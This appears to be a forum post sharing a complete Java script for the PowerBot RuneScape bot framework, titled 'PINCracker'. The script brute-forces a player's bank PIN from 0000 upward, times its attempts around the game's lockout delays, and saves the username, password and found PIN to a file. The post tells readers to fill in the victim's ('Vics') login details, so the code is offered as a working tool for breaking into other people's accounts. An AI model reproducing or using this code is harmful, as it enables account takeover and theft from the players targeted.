It's for powerbot. It works.
Make sure to change USERNAME to Vics username. And Password to Vics password.
Put randoms off.

Spoiler:

Code:
import java.util.logging.Level;
import org.rsbot.script.Script;
import org.rsbot.script.ScriptManifest;
import org.rsbot.script.wrappers.RSComponent;
import org.rsbot.event.listeners.PaintListener;
import java.awt.*;
import java.io.*;
import org.rsbot.Configuration;

@ScriptManifest(authors = "Pork",  name = "PINCracker", description = "Cracks bank PIN's.", version = 1.0)
public class PINCracker extends Script implements PaintListener {

    private String username = "USERNAME"; // Change username to your RuneScape username
    private String password = "PASSWORD"; // Change password to your RuneScape password
    private String pin = "0000"; //  Change this if you don't want the script to start @ 0000

    private int state;
    private int tried = 0;
    private long banktimeout = 10;
    
    //Paint variables
    public long startTime = 0;
    public long millis = 0;
    public long hours = 0;
    public long minutes = 0;
    public long seconds = 0;
    public long last = 0;
    public int totalTried = 0;
    public int pinsPerHour = 0;
    public String currentPin = pin;
    public long attemptTime = 0;

    public boolean activateCondition() {
	return interfaces.get(13).isValid() || interfaces.getComponent(14, 34).isValid();
    }

    public long bankTimeout() {
    	return banktimeout;
    }

    public void enterCode(final String aPin) {
    	if (!interfaces.get(13).isValid())
            return;
	final RSComponent[] children = interfaces.get(13).getComponents();
	state = 0;
	for (int i = 1; i < 5; i++) {
            if (children[i].containsText("?")) {
                state++;
            }
	}
	state = 4 - state;
	if (!interfaces.get(759).isValid())
            return;
	final RSComponent[] bankPin = interfaces.get(759).getComponents();
        if (state >= 3)
            sleep(300, 600);
	for (int i = 0; i < bankPin.length; i++) {
            if (bankPin[i].containsText(aPin.substring(state, state + 1))) {
                final RSComponent[] childrenBefore = interfaces.get(13).getComponents();
                int stateBefore = 0;
                int stateAfter = 0;
                for (int j=1; j<5; j++) {
                    if (childrenBefore[j].containsText("?"))
                        stateBefore++;
                }
		bankPin[i].doClick();
                sleep(500);
                while (stateBefore == stateAfter) {
                    final RSComponent[] childrenAfter = interfaces.get(13).getComponents();
                    for (int k=1; k<5; k++) {
                        if (childrenAfter[k].containsText("?"))
                            stateAfter++;
                    }
                    sleep(500);
                }
                break;
            }
	}
        if (state == 3) {
            tried++;
            totalTried++;
            if (tried == 2)
                sleep(11000);
            else if(tried >= 3) {
                sleep(2000);
                if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled")))
                    pinIsCracked();
                else {
                    sleep(14000);
                    tried = 0;
                    while(game.isLoggedIn())
                        game.logout(true);
                }
            }
            int temp = Integer.parseInt(pin);
            temp++;
            if (temp >= 0 && temp <= 9)
                pin = String.format("000%d", temp);
            else if(temp >= 10 && temp <= 99)
                pin = String.format("00%d", temp);
            else if(temp >= 100 && temp <= 999)
                pin = String.format("0%d", temp);
            else if(temp >= 1000 && temp <= 9999)
                pin = "" + temp;
            currentPin = pin;
        }
    }

    public void login() {
        if(interfaces.get(906).isValid()) {
            if (interfaces.get(906).containsText("account has not logged out"))
                mouse.click(382, 322, true);
            else {
                interfaces.get(906).getComponent(171).doClick();
                while(interfaces.get(906).containsText("Entering game"))
                    sleep(500);
            }
        }
        else if (interfaces.get(596).isValid()) {
            interfaces.get(596).getComponent(65).doClick();
            sleep(1000);
            keyboard.sendText(username, false);
            interfaces.get(596).getComponent(71).doClick();
            sleep(1000);
            keyboard.sendText(password, false);
            interfaces.get(596).getComponent(51).doClick();
            while(game.isLoginScreen())
                sleep(500);
        }
    }

    public void pinIsCracked() {
        log("PIN SUCCESSFULLY CRACKED!");
        log.log(Level.WARNING, "PIN: {0}", pin);
        try {
            BufferedWriter out = new BufferedWriter(new FileWriter(new File(Configuration.Paths.getSettingsDirectory(),"PINCracker.txt")));
            out.write("Username: " + username);
            out.newLine();
            out.write("Password: " + password);
            out.newLine();
            out.write("PIN: " + pin);
            out.newLine();
            log("Info wrote to " + Configuration.Paths.getSettingsDirectory());
            out.close();
        }
        catch (IOException e) {
            log.warning(e.getMessage());
        }
        while(game.isLoggedIn())
            game.logout(false);
        stopScript();
    }

    @Override
    public boolean onStart() {
        startTime = System.currentTimeMillis();
        mouse.setSpeed(1);
        return true;
    }

    @Override
    public int loop() {
        if (game.isLoggedIn()) {
            if (interfaces.get(13).isValid()) {
                enterCode(pin);
                sleep(500,1000);
            }
            else if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled")))
                pinIsCracked();
            else
                bank.open();
        }
        else {
            login();
        }
        return random(200,500);
    }

    public void onRepaint(Graphics g1) {
        Graphics2D g = (Graphics2D)g1;
        
        millis = System.currentTimeMillis() - startTime;
        hours = millis / (1000 * 60 * 60);
        millis -= hours * (1000 * 60 * 60);
        minutes = millis / (1000 * 60);
        millis -= minutes * (1000 * 60);
        seconds = millis / 1000;
        String hoursString = "" + hours;
        String minutesString = "" + minutes;
        String secondsString = "" + seconds;
        if (hours < 10)
            hoursString = "0" + hours;
        if (minutes < 10)
            minutesString = "0" + minutes;
        if (seconds < 10)
            secondsString = "0" + seconds;

        g.setColor(new Color(0, 0, 255, 200));
        g.fillRect(5, 5, 190, 65);
        g.setFont(new Font("Arial", Font.BOLD, 15));
        g.setColor(Color.WHITE);
        g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
        g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
        g.drawString("Current PIN Attempt: " + currentPin, 10, 50);
        g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65);
    }
}